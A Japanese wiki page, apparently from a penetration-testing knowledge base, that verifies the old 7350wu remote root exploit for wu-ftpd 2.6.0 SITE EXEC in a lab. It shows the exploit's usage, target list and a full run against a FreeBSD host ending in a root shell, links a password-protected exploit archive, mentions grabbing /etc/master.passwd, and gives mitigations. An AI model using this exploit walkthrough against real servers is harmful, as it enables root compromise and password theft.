wuftpd <= 2.6.0 Remote root Exploit (SITE EXEC commands)

更新履歴

  • 2006/06/14 初版

概要

  • wu-ftpd 2.6.0以前のバージョンに脆弱性がある。
  • 細工を施した SITE EXEC コマンドを送信することにより、スタック上のデータを上書きして任意のコマンドを実行可能。
  • この攻撃を行うには、ftpサーバにログイン可能なユーザ名・パスワードが必要
  • 2000/06/23 公開

影響を受けるシステム

  • wu-ftpd 2.6.0 以前のバージョン(2.6.0含む)

添付ファイル

files password
7350wu-v5.zip pen-test

参考URL

Exploitの検証

検証環境

  • 攻撃先
    • FreeBSD 4.0 RELEASE
      • IPアドレス:192.168.0.100
    • wu-ftpd 2.6.0
      • アカウント情報
        • ユーザ名:www
        • パスワード:wwwadmin
  • 攻撃元
    • CentOS 4.3
      • IPアドレス:192.168.0.50

検証結果

  • 攻撃元から、以下のコマンドを実行する。
# ./7350wu 
7350wu - wuftpd <= 2.6.0 x86/linux remote root (mass enabled)
by team teso

usage: ./7350wu [options] [commands]

options
   -t target       choose target, -t 0 for a list (default: 1)
   -c              enable mass mode, [commands] are required then
                   don't use parameters in commands, or use the
                   option end sign, as in: ... -c -- /bin/sh -c "id"
   -h hostname     set target host/ip (default: "localhost")
   -u username     set username to use for login (default: "ftp")
   -p password     set password to use (default: "mozilla@"
   -s sleeptime    sleep between reconnects (default: 2 seconds)
   -r              refind the buffer distance on each connection
   -v              verbose mode (two times -> insane verbosity)

# ./7350wu -t 0
7350wu - wuftpd <= 2.6.0 x86/linux remote root (mass enabled)
by team teso

target  description                         byte order
------  ----------------------------------  ------------------
     1  Linux operating system              little endian
     2  FreeBSD                             little endian
     3  FreeBSD with breakable chroot       little endian

# 
# ./7350wu -t 2 -h 192.168.0.100 -u www -p wwwadmin
7350wu - wuftpd <= 2.6.0 x86/linux remote root (mass enabled)
by team teso

phase 1 - login... login succeeded
phase 2 - testing for vulnerability... vulnerable, continuing
phase 3 - finding buffer distance on stack... ###########
  found: 1104 (0x00000450)
phase 4 - finding source buffer address... #######################
  found: 0xbfbff039
phase 5 - find destination buffer address... ########################################
  found: 0xbfbfe7c4
phase 6 - calculating return address
  retaddr = 0xbfbff223
phase 7 - getting return address location
  found 0xbfbfebc8
phase 8 - exploitation...
  using return address location: 0xbfbfebc8
len = 510
                                 3616611

                         1934652240

                  1934652240
uid=0(root) gid=0(wheel) egid=80(www) groups=80(www)

対処方法

  1. wu-ftpd を最新版にアップグレート
  2. 他のftpサーバに切り替える

デモンストレーション

  • サーバにログイン後、パスワードファイル(/etc/master.passwd)を入手する。

 
exploit/remote/unix/wuftpd260.txt · 最終更新: 2007/10/16 12:02
 
Recent changes RSS feed Creative Commons License Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki NINJA TOOLS